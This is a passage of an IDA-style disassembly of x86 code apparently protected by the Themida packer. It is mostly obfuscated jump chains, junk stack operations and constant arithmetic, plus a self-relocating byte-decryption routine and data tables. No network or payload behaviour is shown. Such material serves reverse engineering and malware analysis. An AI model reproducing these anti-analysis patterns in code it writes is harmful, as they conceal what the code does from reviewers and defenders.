mov ax, [esp] sub esp, 4 mov [esp], edx push esp pop edx push 3DAAh mov [esp], esi sub esp, 4 mov [esp], ecx push ebx mov ebx, 52064FB5h mov ecx, 0D854DF95h jmp loc_544716 ; --------------------------------------------------------------------------- loc_54FF1B: ; CODE XREF: Themida_:0054B916j push edi jmp loc_54EDF9 ; --------------------------------------------------------------------------- loc_54FF21: ; CODE XREF: Themida_:0054E715j xchg esi, [esp] pop esp jmp near ptr word_545C7A ; --------------------------------------------------------------------------- loc_54FF2A: ; CODE XREF: Themida_:00544940j pop eax xor esi, 206E1CD5h and esi, 768903D2h shr esi, 3 sub esi, 0B31CC109h sub edi, esi jmp loc_546DAA ; --------------------------------------------------------------------------- loc_54FF47: ; CODE XREF: Themida_:00547F35j add eax, 3F230D1Ch jmp loc_549B41 ; --------------------------------------------------------------------------- loc_54FF51: ; CODE XREF: Themida_:0054C5E7j xor edi, 1828550Eh add edi, 5046AEDh dec edi sub edi, 276D8FBCh add edx, edi pop edi xchg edx, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, esp push edx mov edx, 59805B3Fh jmp loc_547E02 ; --------------------------------------------------------------------------- loc_54FF81: ; CODE XREF: Themida_:0054D067j pop edx shr ecx, 7 push ebx push edi mov edi, 3F177F38h not edi or edi, 7C817DA4h jmp loc_546AD4 ; --------------------------------------------------------------------------- loc_54FF99: ; CODE XREF: Themida_:0054F571j pop edx jmp loc_5468C0 ; --------------------------------------------------------------------------- loc_54FF9F: ; CODE XREF: Themida_:005472BFj pop ecx sub ebx, ebp pop ebp sub edx, ebx jmp loc_54F61D ; --------------------------------------------------------------------------- loc_54FFAA: ; CODE XREF: Themida_:0054D4D5j and ecx, 5CEF12CFh jmp loc_5488B5 ; --------------------------------------------------------------------------- loc_54FFB5: ; CODE XREF: Themida_:005459DDj pop ebp add ebx, edx pop edx jmp loc_54D88C ; --------------------------------------------------------------------------- loc_54FFBE: ; CODE XREF: Themida_:00547DC2j pop dword ptr [esp] jmp loc_548100 ; --------------------------------------------------------------------------- loc_54FFC6: ; CODE XREF: Themida_:00547EABj pop esp movzx ecx, ax push ecx mov ecx, esp add ecx, 4 push ebp sub esp, 4 mov [esp], edi mov edi, 13465D77h inc edi jmp loc_5451BE ; --------------------------------------------------------------------------- loc_54FFE8: ; CODE XREF: Themida_:0054DDCEj push cx mov ch, 66h jmp loc_5497B2 ; --------------------------------------------------------------------------- loc_54FFF1: ; CODE XREF: Themida_:00548B33j mov ebx, 2FBD16EBh jmp loc_54A2DB ; --------------------------------------------------------------------------- loc_54FFFB: ; CODE XREF: Themida_:0054932Bj mov [esp], edx jmp loc_5467E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_550003: ; CODE XREF: sub_545BCC+5DC2j add esp, 4 jmp loc_54FBB2 ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_55000E: ; CODE XREF: Themida_:0054BBDEj bts [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_550019: ; CODE XREF: Themida_:00548EB3j xor edx, [esp] jmp loc_54D6AE ; --------------------------------------------------------------------------- loc_550021: ; CODE XREF: Themida_:0054DA86j add eax, ebp pop ebp push eax jmp loc_54B75D ; --------------------------------------------------------------------------- loc_55002A: ; CODE XREF: Themida_:0054E0D7j add edi, eax jmp loc_549E50 ; --------------------------------------------------------------------------- loc_550031: ; CODE XREF: Themida_:00545C8Dj mov [esp], edi push ebp mov ebp, 2 mov edi, ebp pop ebp add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_550055: ; CODE XREF: Themida_:005476C0j pop ebp add edx, eax sub edx, 278F4DA3h push ebx mov ebx, 3C151A2h not ebx jmp loc_544B15 ; --------------------------------------------------------------------------- loc_55006B: ; CODE XREF: Themida_:0054A0B8j push esp mov eax, [esp] add esp, 4 push ebx mov ebx, 33B05D7Fh add ebx, 4656C8Dh jmp loc_54BF49 ; --------------------------------------------------------------------------- loc_550086: ; CODE XREF: Themida_:0054F265j inc cl push edx mov dh, 45h jmp loc_54737E ; --------------------------------------------------------------------------- loc_550090: ; CODE XREF: Themida_:0054627Cj pop eax sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebp jmp loc_548CE4 ; --------------------------------------------------------------------------- loc_5500A5: ; CODE XREF: Themida_:0054AD34j sub esi, edx jmp loc_54CAFF ; --------------------------------------------------------------------------- loc_5500AC: ; CODE XREF: Themida_:00547115j sub ah, 0Ch dec ah neg ah jmp loc_54B279 ; --------------------------------------------------------------------------- loc_5500B8: ; CODE XREF: Themida_:0054CE2Dj mov ebx, 4D1957D9h neg ebx xor ebx, 9586A531h sub edi, ebx pop ebx push ecx mov ecx, 5C126D4Ah jmp loc_54D934 ; --------------------------------------------------------------------------- loc_5500D3: ; CODE XREF: Themida_:005454DEj pop ecx xchg edi, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_54B411 ; --------------------------------------------------------------------------- db 0A4h, 0C0h, 48h dd 0FFA434FAh, 5A760EFFh, 5A1A0800h, 0CD08EB00h, 0FFE72EC2h dd 5A24E4FFh, 20700h, 200h, 100h, 200h, 48C0A400h, 0FAh dd 4 dup(0) dd 5599E300h, 551BDC00h, 550E4300h, 55093400h, 5521DC00h dd 55290400h, 55C04200h, 56384C00h, 55B0F000h, 55F49500h dd 5591E600h, 55F37F00h, 557E6E00h, 55DF9300h, 55249C00h dd 55725C00h, 552C0600h, 5648E900h, 563A7600h, 55946700h dd 5528CF00h, 55789A00h, 55DF0C00h, 55774700h, 562DA200h dd 5634D800h, 55332200h, 559EFE00h, 561BF400h, 5621B300h dd 55387F00h, 550B8900h, 55220000h, 557D1700h, 5513CF00h dd 55810E00h, 55780900h, 55CA5E00h, 5589ED00h, 55D34800h dd 5582EA00h, 5597AC00h, 5655C400h, 56430A00h, 5653A800h dd 5628CA00h, 55131900h, 558B7900h, 55E15700h, 5572D800h dd 55301A00h, 550C6A00h, 55D19D00h, 55994200h, 550D8000h dd 55278400h, 565CC700h, 55FEBD00h, 55CC8E00h, 56283C00h dd 55829700h, 55BB6200h, 55C9DA00h, 55C87500h, 556C7D00h dd 5529DE00h, 56334300h, 55476B00h, 553D9D00h, 5528E000h dd 5536EF00h, 55A53800h, 5557BF00h, 553C2100h, 55C06700h dd 56533600h, 5558D400h, 554EFF00h, 55491000h, 55AD5200h dd 562B8600h, 56126C00h, 555D7B00h, 55DEE200h, 56064A00h dd 55AB6500h, 550C5800h, 55177100h, 55B96800h, 5555B400h dd 5619F300h, 565ADB00h, 557CEC00h, 55BF7400h, 561AF600h dd 55C7A400h, 561B4F00h, 55D33900h, 564BCD00h, 55A70E00h dd 5559BD00h, 553B0A00h, 55257D00h, 55EEAD00h, 55AD0F00h dd 55F3D500h, 55801400h, 55A89A00h, 5574C300h, 5524B000h dd 550F3700h, 558F0B00h, 562B3400h, 55517C00h, 5505B400h dd 55435100h, 55FE3D00h, 55FA1C00h, 55A0D700h, 55326A00h dd 55924B00h, 55186F00h, 56095A00h, 562AE900h, 55644D00h dd 558F6C00h, 553C9400h, 5618D600h, 55314A00h, 561FE600h dd 55E64900h, 55238E00h, 5564AA00h, 55E3A400h, 560F5300h dd 55983D00h, 55F42300h, 55576B00h, 56147D00h, 55143D00h dd 562BB300h, 55A99300h, 55696800h, 55F1D400h, 56189600h dd 55F95D00h, 56564B00h, 55414100h, 55645F00h, 5533C500h dd 55F8E800h, 5537C900h, 5593D900h, 561CEE00h, 55E3F700h dd 55245500h, 5558F000h, 55271500h, 55256000h, 55486800h dd 55F14200h, 55DA4200h, 55522500h, 55A07700h, 55BD5100h dd 55F93000h, 56500D00h db 0 ; --------------------------------------------------------------------------- loc_5503D9: ; CODE XREF: Themida_:005909ADj ; Themida_:005909B7j ... pusha pushf cld call $+5 pop edi sub edi, 60C433Dh mov eax, edi add edi, 60C4055h cmp eax, [edi+2Ch] jnz short loc_5503F7 jmp short loc_55040A ; --------------------------------------------------------------------------- loc_5503F7: ; CODE XREF: Themida_:005503F3j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550406 ; --------------------------------------------------------------------------- loc_550401: ; CODE XREF: Themida_:00550408j add [edi+ecx*4+40h], eax dec ecx loc_550406: ; CODE XREF: Themida_:005503FFj or ecx, ecx jnz short loc_550401 loc_55040A: ; CODE XREF: Themida_:005503F5j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_550417: ; CODE XREF: Themida_:0055041Ej xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_550417 loc_550420: ; CODE XREF: Themida_:0055053Aj ; Themida_:0055063Bj ... lodsb xor al, bl push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 0A16h mov [esp], ebx mov bh, 79h sub esp, 4 jmp loc_555CC8 ; --------------------------------------------------------------------------- loc_55044B: ; CODE XREF: Themida_:00563E74j mov edx, 3E8A3225h jmp loc_5624D2 ; --------------------------------------------------------------------------- loc_550455: ; CODE XREF: Themida_:0055BFFBj add esp, 4 and ecx, esi push dword ptr [esp] pop esi push 4024h mov [esp], esi push esp pop esi push edi push ebx jmp loc_5552A8 ; --------------------------------------------------------------------------- loc_55046F: ; CODE XREF: Themida_:00560BD0j mov al, 8Bh xor al, 0F7h add cl, 0F1h sub cl, al jmp loc_55955A ; --------------------------------------------------------------------------- loc_55047D: ; CODE XREF: Themida_:0055A7A1j or esi, 58995837h jmp loc_56394D ; --------------------------------------------------------------------------- loc_550488: ; CODE XREF: Themida_:005525B5j and bl, 0D1h add bl, 3Bh jmp loc_56534E ; --------------------------------------------------------------------------- loc_550493: ; CODE XREF: Themida_:00555970j add ecx, 214172CEh pop edi push 4162h mov [esp], edi mov edi, 3AF76AB4h sub edi, 761258E3h add edi, 414A0742h add edi, 0F9D0E6F1h jmp loc_552668 ; --------------------------------------------------------------------------- loc_5504BE: ; CODE XREF: Themida_:00551A64j push 13B03F9h jmp loc_5628AB ; --------------------------------------------------------------------------- loc_5504C8: ; CODE XREF: Themida_:005615ECj add edx, 16EBDE4Ah jmp loc_55F3E8 ; --------------------------------------------------------------------------- loc_5504D3: ; CODE XREF: Themida_:0055380Dj push edx mov edx, 2DE5550Dh and edx, 6110235Bh xchg esi, edx jmp loc_557F5E ; --------------------------------------------------------------------------- loc_5504E6: ; CODE XREF: Themida_:0055148Cj mov [esp], esi mov esi, 4 add [esp+4], esi pop esi pop ecx add ecx, 4 push edi mov edi, 14AA45AFh sub esp, 4 mov [esp], eax push 3CC40251h pop eax shl eax, 5 or eax, 77FD508Fh push 0 sub [esp], eax pop eax shr eax, 7 push edx jmp loc_5607EE ; --------------------------------------------------------------------------- loc_550529: ; CODE XREF: Themida_:00564DB7j pop edx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_550420 ; --------------------------------------------------------------------------- loc_55053F: ; CODE XREF: Themida_:0055B74Ej push ebx jmp loc_5537FC ; --------------------------------------------------------------------------- loc_550545: ; CODE XREF: Themida_:00559251j add esp, 4 sub esp, 4 jmp loc_564E40 ; --------------------------------------------------------------------------- loc_550553: ; CODE XREF: Themida_:005602F2j pop esi inc esi sub esi, 37065E90h add esi, 0D1E5ECDDh add ebp, esi pop esi jmp loc_56212E ; --------------------------------------------------------------------------- loc_550569: ; CODE XREF: Themida_:00561737j push esp pop ebx push edi jmp loc_557A0C ; --------------------------------------------------------------------------- loc_550571: ; CODE XREF: Themida_:0055BCBFj mov esp, [esp] push ebx mov ebx, 2 add esi, ebx pop ebx xor esi, [esp] jmp loc_55F082 ; --------------------------------------------------------------------------- loc_550585: ; CODE XREF: Themida_:00564B35j add edi, 46723868h push ebx mov ebx, 269D7FDh sub edi, ebx pop ebx add ebx, edi pop edi jmp loc_5647B2 ; --------------------------------------------------------------------------- loc_55059C: ; CODE XREF: Themida_:0055A980j xor esi, 5DB07337h inc esi sub esi, 2F49564Dh push ebp mov ebp, esi mov eax, ebp pop ebp jmp loc_55F7EE ; --------------------------------------------------------------------------- mov ax, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 jmp loc_56410C ; --------------------------------------------------------------------------- loc_5505DB: ; CODE XREF: Themida_:0055335Bj push dword ptr [esp] pop edx push esi mov esi, esp jmp loc_559A44 ; --------------------------------------------------------------------------- loc_5505E7: ; CODE XREF: Themida_:00561783j pop ebx pop eax mov edx, [esp] jmp loc_550FA3 ; --------------------------------------------------------------------------- loc_5505F1: ; CODE XREF: Themida_:00562181j add edx, 0D4B8BA08h push 2223h mov [esp], ebp mov ebp, 668D10AFh and ebp, 61B720C9h shl ebp, 6 jmp loc_551F68 ; --------------------------------------------------------------------------- loc_550612: ; CODE XREF: Themida_:00554DADj sub al, bl jmp loc_55ADB1 ; --------------------------------------------------------------------------- loc_550619: ; CODE XREF: Themida_:00552B3Fj xchg ebx, [esp] jmp loc_55919A ; --------------------------------------------------------------------------- loc_550621: ; CODE XREF: Themida_:0055DEBCj sub ch, 0BCh mov eax, [esp] add esp, 4 push edx push eax jmp loc_5636E8 ; --------------------------------------------------------------------------- loc_550631: ; CODE XREF: Themida_:00564364j mov esi, 6EAF2C66h add [esp+4], esi pop esi jmp loc_550420 ; --------------------------------------------------------------------------- loc_550640: ; CODE XREF: Themida_:00564C28j pop esp mov [esp], ecx push eax push 10C4h mov [esp], edx push ecx mov ch, 82h mov dl, 64h push 5B9Ch mov [esp], ebx mov bh, 78h inc bh jmp loc_55115A ; --------------------------------------------------------------------------- loc_550663: ; CODE XREF: Themida_:0055A300j mov edi, 3A436767h jmp loc_562F71 ; --------------------------------------------------------------------------- loc_55066D: ; CODE XREF: Themida_:00564215j add ecx, edi add ecx, 10D007DEh pop edi xchg ecx, [esp] jmp loc_561B56 ; --------------------------------------------------------------------------- loc_55067E: ; CODE XREF: Themida_:0055EB17j add ebx, ebp pop ebp add ebx, eax push edi push edx push 3F5E1091h pop edx shl edx, 8 jmp loc_55405C ; --------------------------------------------------------------------------- loc_550693: ; CODE XREF: Themida_:00563302j pop ebp add esi, 21F30FCAh jmp loc_558BA3 ; --------------------------------------------------------------------------- loc_55069F: ; CODE XREF: Themida_:0055E540j pop dword ptr [esp] pop esp mov [esp], esi push 588Dh mov [esp], esp push edx jmp loc_558B88 ; --------------------------------------------------------------------------- loc_5506B4: ; CODE XREF: Themida_:0056291Bj push esi push esp pop esi add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_5506D8: ; CODE XREF: Themida_:00561FD1j not esi push edx sub esp, 4 mov [esp], esi mov edx, [esp] add esp, 4 pop esi jmp loc_563D49 ; --------------------------------------------------------------------------- loc_5506F3: ; CODE XREF: Themida_:005528E1j push esp pop ecx push 392h jmp loc_558BD5 ; --------------------------------------------------------------------------- loc_5506FF: ; CODE XREF: Themida_:005607D2j xor edi, [esp] pop esp jmp loc_55A943 ; --------------------------------------------------------------------------- loc_550708: ; CODE XREF: Themida_:0056002Ej pop dword ptr [esp] mov esp, [esp] loc_55070E: ; CODE XREF: Themida_:005538DAj push 440Dh mov [esp], ebx push dword ptr [esp] mov eax, [esp] push eax push esp pop eax add eax, 4 push edx mov edx, 4 push ebx mov ebx, 68B4686Eh sub eax, 459730ACh jmp loc_5648CD ; --------------------------------------------------------------------------- loc_55073A: ; CODE XREF: Themida_:005621D5j add [esp+4], ebx jmp loc_5624EE ; --------------------------------------------------------------------------- loc_550743: ; CODE XREF: Themida_:00552999j mov eax, 52556548h dec eax add eax, 6D3FC22h xor edi, eax pop eax add edi, 5319C25h sub esi, edi pop edi push ecx jmp loc_554FA5 ; --------------------------------------------------------------------------- loc_550760: ; CODE XREF: Themida_:0056242Aj sub esi, 33857C7Fh sub esi, 84B45482h add ebx, esi pop esi jmp loc_55C642 ; --------------------------------------------------------------------------- loc_550774: ; CODE XREF: Themida_:0056453Bj pop edx jmp loc_55ED91 ; --------------------------------------------------------------------------- loc_55077A: ; CODE XREF: Themida_:0055EC72j push ecx mov ecx, esp jmp loc_55C417 ; --------------------------------------------------------------------------- loc_550782: ; CODE XREF: Themida_:00555E4Cj add esp, 4 push ecx mov ecx, 2 add edi, ecx mov ecx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov cx, [esp] push edi push esp mov edi, [esp] jmp loc_55A8A4 ; --------------------------------------------------------------------------- loc_5507B1: ; CODE XREF: Themida_:0055D44Fj sub edi, esi jmp loc_5526F2 ; --------------------------------------------------------------------------- loc_5507B8: ; CODE XREF: Themida_:0055229Dj dec ebx not ebx add ebx, 3B4B2B85h neg ebx add ebx, 0FE6858A1h add esi, ebx pop ebx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_56475E ; --------------------------------------------------------------------------- loc_5507E0: ; CODE XREF: Themida_:00551057j and bl, dh jmp loc_553BD0 ; --------------------------------------------------------------------------- loc_5507E7: ; CODE XREF: Themida_:0055A802j add al, 1 not al xor al, 0AFh jmp loc_558670 ; --------------------------------------------------------------------------- loc_5507F2: ; CODE XREF: Themida_:00552926j or ecx, 2C1F5470h sub ecx, 0BEDF7E7Ah mov eax, ecx jmp loc_5633C6 ; --------------------------------------------------------------------------- loc_550805: ; CODE XREF: Themida_:00554FF2j mov ebp, edi pop edi add eax, 16204B27h add eax, 43016DDh push edx mov edx, 2AD931B7h add eax, edx pop edx sub eax, ebp sub eax, 2AD931B7h jmp loc_564471 ; --------------------------------------------------------------------------- loc_550827: ; CODE XREF: Themida_:00553015j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_559D3F ; --------------------------------------------------------------------------- loc_550846: ; CODE XREF: Themida_:0055C5DAj add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55B44D ; --------------------------------------------------------------------------- loc_550856: ; CODE XREF: Themida_:0055F8ABj pop dx or cl, 73h jmp loc_5582C7 ; --------------------------------------------------------------------------- loc_550860: ; CODE XREF: Themida_:0055DAADj mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_564666 ; --------------------------------------------------------------------------- loc_550871: ; CODE XREF: Themida_:00553254j pop eax shr ebp, 3 sub ebp, 2758E75h add edi, ebp pop ebp push edx jmp loc_5512C7 ; --------------------------------------------------------------------------- loc_550884: ; CODE XREF: Themida_:00565581j pop esi jmp loc_55C687 ; --------------------------------------------------------------------------- loc_55088A: ; CODE XREF: Themida_:00557718j sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_5633BF ; --------------------------------------------------------------------------- loc_55089D: ; CODE XREF: Themida_:00550AC0j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5508A2: ; CODE XREF: Themida_:0055951Bj mov [esp], edi push esp pop edi push ecx mov ecx, 78E3197Eh sub ecx, 78E3197Ah add edi, ecx jmp loc_562F9A ; --------------------------------------------------------------------------- loc_5508BA: ; CODE XREF: Themida_:005523F5j xor edi, 74D28BD4h add ebx, edi pop edi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5586E8 ; --------------------------------------------------------------------------- loc_5508D1: ; CODE XREF: Themida_:00561900j mov ecx, [esp] push eax mov eax, esp push edx mov edx, 28826F9Fh xor edx, 28826F9Bh jmp loc_5653F6 ; --------------------------------------------------------------------------- loc_5508E8: ; CODE XREF: Themida_:0055D923j push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 36D46439h dec edx jmp loc_553FC4 ; --------------------------------------------------------------------------- loc_550906: ; CODE XREF: Themida_:00554901j shr ch, 3 xor ch, 27h or ch, 10h jmp loc_55AF5C ; --------------------------------------------------------------------------- loc_550914: ; CODE XREF: Themida_:00565C71j add dword ptr [esp], 4 pop edi add edi, 4 jmp loc_562FB2 ; --------------------------------------------------------------------------- loc_550927: ; CODE XREF: Themida_:005650F4j not dh add dh, 51h sub bl, dh pop edx jmp loc_55E089 ; --------------------------------------------------------------------------- push eax push edx mov dl, bh jmp loc_5555D2 ; --------------------------------------------------------------------------- loc_55093D: ; CODE XREF: Themida_:00552DD1j add esi, 4 add esi, 4 jmp loc_551B51 ; --------------------------------------------------------------------------- loc_55094E: ; CODE XREF: Themida_:0055F987j add ecx, 0FDF37B74h add eax, 626A523Eh add eax, ecx push ebx mov ebx, 626A523Eh jmp loc_55824B ; --------------------------------------------------------------------------- loc_550966: ; CODE XREF: Themida_:00559D62j mov edi, 724E07AFh add edi, 44CA2052h and edi, 4F752BB6h sub edi, 428E542Ch push edi pop ebp pop edi jmp loc_554EBF ; --------------------------------------------------------------------------- loc_550985: ; CODE XREF: Themida_:00559CFEj add esp, 4 add dword ptr [esp+4], 6E6863A8h add [esp+4], ebx sub dword ptr [esp+4], 6E6863A8h pop ebx jmp loc_5541F8 ; --------------------------------------------------------------------------- loc_5509A5: ; CODE XREF: Themida_:0055C480j mov ebp, esi pop esi push esi mov esi, ebp mov edi, esi pop esi pop ebp add esi, 2FD706BDh sub esi, edi sub esi, 2FD706BDh mov edi, [esp] jmp loc_562DD0 ; --------------------------------------------------------------------------- loc_5509C5: ; CODE XREF: Themida_:00557F8Fj sub cl, dh sub cl, 83h jmp loc_55241A ; --------------------------------------------------------------------------- loc_5509CF: ; CODE XREF: Themida_:005631FEj push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5552F0 ; --------------------------------------------------------------------------- loc_5509E1: ; CODE XREF: Themida_:0056074Bj inc edx push esi mov esi, 0AD594Fh or edx, esi mov esi, [esp] push 119h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_560C28 ; --------------------------------------------------------------------------- loc_550A08: ; CODE XREF: Themida_:005637A1j add eax, esi pop esi jmp loc_55DC57 ; --------------------------------------------------------------------------- loc_550A10: ; CODE XREF: Themida_:0055C8DCj mov [esp], ebp mov ebp, 4 add ecx, ebp pop ebp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 907h mov [esp], esi mov esi, 4 jmp loc_562ACC ; --------------------------------------------------------------------------- loc_550A37: ; CODE XREF: Themida_:00562F03j push eax mov eax, 37805D01h push ebp mov ebp, 35501A28h sub ecx, ebp pop ebp sub ecx, eax add ecx, 35501A28h mov eax, [esp] add esp, 4 xor ecx, 0BA4FB862h xor eax, ecx jmp loc_55D5FC ; --------------------------------------------------------------------------- loc_550A64: ; CODE XREF: Themida_:0055F8D8j pop ecx push ebx push esp pop ebx add ebx, 4 push edi push 7C4Eh mov [esp], esi push 646570CAh mov esi, [esp] add esp, 4 push eax push ecx mov ecx, 5EEB78DEh dec ecx shr ecx, 5 add ecx, 25D417EAh add ecx, 0E888C5B7h jmp loc_551A86 ; --------------------------------------------------------------------------- loc_550A9E: ; CODE XREF: Themida_:00565B31j sub ebx, 1957F20h push 7595h mov [esp], ebp mov ebp, 40212164h sub ebx, ebp pop ebp jmp loc_551A01 ; --------------------------------------------------------------------------- loc_550AB9: ; CODE XREF: Themida_:0055BD41j mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_55089D ; --------------------------------------------------------------------------- loc_550AC5: ; CODE XREF: Themida_:00564AF9j inc esi add esi, 187E09B6h sub ebp, esi pop esi xor ecx, ebp mov ebp, [esp] add esp, 4 or ecx, 19490ADBh shl ecx, 1 add ecx, 5A5E127Fh or ebx, ecx jmp loc_559046 ; --------------------------------------------------------------------------- loc_550AEC: ; CODE XREF: Themida_:005531E4j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55980D ; --------------------------------------------------------------------------- loc_550B00: ; CODE XREF: Themida_:00554093j neg esi add esi, 78223D04h add edx, esi push dword ptr [esp] pop esi push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_560B3A ; --------------------------------------------------------------------------- loc_550B23: ; CODE XREF: Themida_:00557728j pop ebx mov eax, [esp] jmp loc_5645E7 ; --------------------------------------------------------------------------- loc_550B2C: ; CODE XREF: Themida_:0055D4E9j mov edx, 69F13D1h add ecx, edx jmp loc_555D3C ; --------------------------------------------------------------------------- loc_550B38: ; CODE XREF: Themida_:0055F28Dj push 4 mov esi, [esp] add esp, 4 jmp loc_5526EC ; --------------------------------------------------------------------------- loc_550B4B: ; CODE XREF: Themida_:00561AB3j sub ebp, eax pop eax jmp loc_560456 ; --------------------------------------------------------------------------- loc_550B53: ; CODE XREF: Themida_:00565B0Cj add edi, esi pop esi push edx mov edx, 4 sub edi, 11282567h sub edi, edx jmp loc_553999 ; --------------------------------------------------------------------------- loc_550B69: ; CODE XREF: Themida_:0056078Cj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] pop bx push small 7EAAh jmp loc_554750 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_560EAA ; --------------------------------------------------------------------------- loc_550B95: ; CODE XREF: Themida_:0055BC82j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_55E0A1 ; --------------------------------------------------------------------------- loc_550BAD: ; CODE XREF: Themida_:0055D356j mov edx, 68F7359Ah push edi mov edi, 48BE7AD5h sub edi, 386E64B0h and edx, edi pop edi shr edx, 5 add edx, 3A84AAB6h add eax, 11D605DCh sub eax, edx sub eax, 11D605DCh push dword ptr [esp] pop edx add esp, 4 push ecx mov ecx, 4F32853h sub eax, ecx jmp loc_550D49 ; --------------------------------------------------------------------------- loc_550BED: ; CODE XREF: Themida_:005535CDj mov ch, 0ADh mov ah, ch jmp loc_553B9E ; --------------------------------------------------------------------------- loc_550BF6: ; CODE XREF: Themida_:0055A201j mov [esp], ebx push esi mov esi, 1 mov ebx, esi pop esi push ebp mov ebp, ebx jmp loc_55CBC2 ; --------------------------------------------------------------------------- loc_550C0A: ; CODE XREF: Themida_:0055703Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 7 push ecx mov ecx, esp push ebp jmp loc_55B7E5 ; --------------------------------------------------------------------------- loc_550C26: ; CODE XREF: Themida_:00562599j mov ebx, 64A85A50h not ebx add ebx, 7E389E96h add edi, ebx pop ebx xor edi, 8CC22740h sub esp, 4 mov [esp], edx push ebp mov ebp, 756422E2h jmp loc_551355 ; --------------------------------------------------------------------------- loc_550C4D: ; CODE XREF: Themida_:0055F0CAj add esi, ebx pop ebx sub esp, 4 jmp loc_55840B ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], cx mov cl, 2Eh jmp loc_562A3D ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_550420 ; --------------------------------------------------------------------------- loc_550C72: ; CODE XREF: Themida_:0055C32Ej add ecx, ebp pop ebp add edi, ecx pop ecx mov edx, edi pop edi jmp loc_5637B7 ; --------------------------------------------------------------------------- loc_550C80: ; CODE XREF: Themida_:0055BD55j push dword ptr [esp] mov eax, [esp] push ebp push esp jmp loc_5646E5 ; --------------------------------------------------------------------------- loc_550C8D: ; CODE XREF: Themida_:00551E2Ej mov [esp], ebx mov ebx, 783360DBh and ebx, 3FC06B60h xor ebx, 38EA3C12h mov edx, ebx mov ebx, [esp] add esp, 4 and edx, 12944752h sub edx, 0D02511F3h sub esp, 4 mov [esp], ecx mov ecx, 51493CDFh sub esp, 4 mov [esp], esi mov esi, 1F712615h add ecx, esi pop esi jmp loc_55D838 ; --------------------------------------------------------------------------- loc_550CD9: ; CODE XREF: Themida_:00564BA8j sub ebp, 6E4D5FB0h add ebp, ebx add ebp, 6E4D5FB0h add ebp, 0F70789Ch pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] imul ecx push 79F0h jmp loc_55347D ; --------------------------------------------------------------------------- loc_550D06: ; CODE XREF: Themida_:0055E492j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55FD26 ; --------------------------------------------------------------------------- loc_550D26: ; CODE XREF: Themida_:0055DD85j mov [esp], ecx push eax push 58112FCEh mov eax, [esp] add esp, 4 xor eax, 4AC4A00h jmp loc_563318 ; --------------------------------------------------------------------------- loc_550D42: ; CODE XREF: Themida_:00555527j mov eax, esp jmp loc_55EC77 ; --------------------------------------------------------------------------- loc_550D49: ; CODE XREF: Themida_:00550BE8j pop ecx add eax, 0C9D0643h sub eax, 6E917A1Bh sub eax, ebx add eax, 6E917A1Bh jmp loc_554C0D ; --------------------------------------------------------------------------- loc_550D60: ; CODE XREF: Themida_:0055C767j mov ecx, eax pop eax add esi, ecx jmp loc_552C14 ; --------------------------------------------------------------------------- loc_550D6A: ; CODE XREF: Themida_:0055AFC7j neg edx shl edx, 7 jmp loc_551B0E ; --------------------------------------------------------------------------- loc_550D74: ; CODE XREF: Themida_:005563F6j inc ah sub ah, 0D0h mov dl, ah jmp loc_56268A ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push dword ptr [esp] mov ecx, [esp] jmp loc_55B6D5 ; --------------------------------------------------------------------------- loc_550D8E: ; CODE XREF: Themida_:0055E04Fj mov esi, esp add esi, 4 push edx mov edx, 4 sub esi, edx pop edx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_55B527 ; --------------------------------------------------------------------------- loc_550DB2: ; CODE XREF: Themida_:0055D40Cj add edx, 4 sub edx, 4 xchg edx, [esp] jmp 